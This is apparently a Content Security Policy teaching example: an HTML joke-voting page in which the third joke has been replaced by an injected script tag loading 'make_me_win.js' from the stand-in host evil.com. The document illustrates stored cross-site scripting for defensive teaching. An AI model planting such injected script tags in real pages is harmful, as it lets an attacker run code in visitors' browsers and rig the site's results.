CSP Example Compromised Joke List

vote.html

<h1>List of jokes</h1>
    <ul>
        <li>
            <p>Why did the chicken cross the road? To get to the other side!</p>
            <form action="vote" method="post">
                <input type="hidden" name="joke_id" value="1" />
                <input type="submit" name="Vote"/>
            </form>
        </li>
        <li>
            <p>A man walks into a bar. Ouch!</p>
            <form action="vote" method="post">
                <input type="hidden" name="joke_id" value="2" />
                <input type="submit" name="Vote"/>
            </form>
        </li>
        <li>
            <p><script src="http://evil.com/make_me_win.js"></script></p>
            <form action="vote" method="post">
                <input type="hidden" name="joke_id" value="3" />
                <input type="submit" name="Vote"/>
            </form>
        </li>
    </ul>